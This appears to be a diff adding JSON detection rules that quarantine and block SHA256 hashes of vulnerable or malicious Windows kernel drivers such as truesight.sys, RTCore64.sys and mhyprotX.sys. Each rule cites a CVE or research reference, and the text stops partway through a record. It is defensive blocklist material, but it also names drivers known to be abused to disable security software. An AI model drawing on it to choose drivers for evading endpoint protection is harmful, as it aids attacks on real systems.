+  "id": "68392165-efae-5b5b-a804-d50676a26e74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812616Z",
+  "creation_date": "2026-03-23T11:45:31.812618Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812624Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "180eddf47ade5cc9a22bb564b989d4671dee90eded8e6317f34cf298ba27d4e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "683cfa93-682f-5cbe-9b0b-12cc2b542bde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493060Z",
+  "creation_date": "2026-03-23T11:45:31.493064Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493071Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1485550a497d9d37a6590b89670694b3d543f4c2dbabd11ae5998c169483a34f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68876d9d-0013-5845-85bc-ea99fb5d5f86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622926Z",
+  "creation_date": "2026-03-23T11:45:29.622928Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622934Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0752dc13548fe8d3b5a7a73c04ebcd7bcfa5e4ecec9ba233d193bd36ed4b54e",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68954278-6904-5a9d-84a5-795295634088",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972807Z",
+  "creation_date": "2026-03-23T11:45:29.972808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "230fe99d425e870cc03383b195d5a8c0ef3d191baaa4104f6f4cdee4960c48fc",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68ae7d1d-0f4a-571b-9b35-7246af338288",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146186Z",
+  "creation_date": "2026-03-23T11:45:31.146188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "971fb60f6027f273c78d9cce3c64d2d967266f64e55c11f1280f0648c517b9a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68af214a-3326-579d-a5c1-e272459850c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611966Z",
+  "creation_date": "2026-03-23T11:45:29.611968Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611973Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69e3fda487a5ec2ec0f67b7d79a5a836ff0036497b2d1aec514c67d2efa789b2",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68b5ff02-1ad9-5241-8075-da91eb972cef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149698Z",
+  "creation_date": "2026-03-23T11:45:31.149702Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81e7666f31109310bef267df23fad8165004b72ef8ff75a6ae45026bceb33a66",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68ba57f4-7093-549f-a381-76c1c838ecd2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808450Z",
+  "creation_date": "2026-03-23T11:45:31.808452Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808458Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dbe13204cff54a9a8fd19aba5b40e994bfe29f1bfe18547a5975e546ca4b4bb9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68cf5ceb-eb03-55d5-ae1e-cd261e05f4d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830359Z",
+  "creation_date": "2026-03-23T11:45:31.830361Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830367Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "661e45e398bcaa6be493ac9bdc0eae5f604d92c9f72c0a382ce95ea609c66339",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68f5c4da-7818-5ff9-8e5c-7adcc5a9fe50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142868Z",
+  "creation_date": "2026-03-23T11:45:32.142870Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae55a0e93e5ef3948adecf20fa55b0f555dcf40589917a5bfbaa732075f0cc12",
+  "comment": "Vulnerable Filseclab Driver (aka fildds.sys, filnk.sys and filwfp.sys) [https://twitter.com/SophosXOps/status/1764933865574207677] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "68feafde-76f3-554d-826a-9bf36020231e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607293Z",
+  "creation_date": "2026-03-23T11:45:29.607295Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f7e47d728ac3301eb47b409801a0f4726a435f78f1ed02c30d2a926259c71f3",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69021801-4155-5739-b3da-a4c524b16832",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150581Z",
+  "creation_date": "2026-03-23T11:45:31.150583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150589Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9f54bd1f5d87827e228c285661303da1ecf8f4b566ef566487b356df5afaf75",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6904b38d-5e71-5ea5-9530-ecdff1f51fce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491778Z",
+  "creation_date": "2026-03-23T11:45:31.491780Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491786Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e8a8c2d6cab17e8f29a8ce5eededc2be0bf373c71dc23b3b24a03e172cef151",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "690f0ca7-2a6f-5d89-bcd1-707bfadcfc6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820443Z",
+  "creation_date": "2026-03-23T11:45:30.820445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820450Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71423a66165782efb4db7be6ce48ddb463d9f65fd0f266d333a6558791d158e5",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "690ff1ef-3024-5d4f-9b98-407823a40d58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983938Z",
+  "creation_date": "2026-03-23T11:45:29.983940Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983952Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57d36936fbf8785380536b03e5d9be172e5dd5c3bf435e19875a80aa96f97e1f",
+  "comment": "Vulnerable Kernel Driver (aka iomem64.sys) [https://www.loldrivers.io/drivers/04d377f9-36e0-42a4-8d47-62232163dc68/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "692308e3-90eb-5cea-9242-14fe798ec6a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453254Z",
+  "creation_date": "2026-03-23T11:45:30.453257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453266Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e9c236ed39507661ec32731033c4a9b9c97a6221def69200e03685c08e0bfa7",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "692ef2f3-73fb-5e40-b115-a7e1e8a83eb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485225Z",
+  "creation_date": "2026-03-23T11:45:31.485229Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485239Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25840fd4b3d38ec389e0c24264e2d1bb1a6fa6942d62c8dcb36dc0033044ffc0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "693a9dd6-8888-51b9-b490-40efe9c3a364",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151628Z",
+  "creation_date": "2026-03-23T11:45:31.151652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151661Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c71ce7ec68a7ac488a512a97b0e2e63e6c7fcda46f6192ffdffae4d89fc4d650",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "693d8e1c-85b7-5323-a1f2-8b018ad7d3e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145718Z",
+  "creation_date": "2026-03-23T11:45:32.145720Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cba6df77d819fc098c160402a47ccb616414cbe7e42ea91417cbb5941e04ce41",
+  "comment": "Malicious Kernel Driver (aka driver_1afc1d06.sys) [https://www.loldrivers.io/drivers/d7773616-9860-4768-b6a2-d74f32c23b4e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "694235cd-f3e7-5470-890a-f3b1a16ec980",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154246Z",
+  "creation_date": "2026-03-23T11:45:31.154248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c30da1c7ddbc765f29372789babc58dd9300002d200c8f65111e542e335abb86",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69625a58-e2df-5bef-bdd9-0ca510baecef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608404Z",
+  "creation_date": "2026-03-23T11:45:29.608406Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608412Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e553f5f3b03c3ace8aa47f74df13336873c0ea72c9a192eeb08b59555e007540",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69665441-1b67-55f0-b0c4-cba7aa46e860",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968258Z",
+  "creation_date": "2026-03-23T11:45:29.968260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968265Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "910aa4685c735d8c07662aa04fafec463185699ad1a0cd1967b892fc33ec6c3c",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "696ba961-8e87-5a09-85c5-f3f4b8f9c97f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
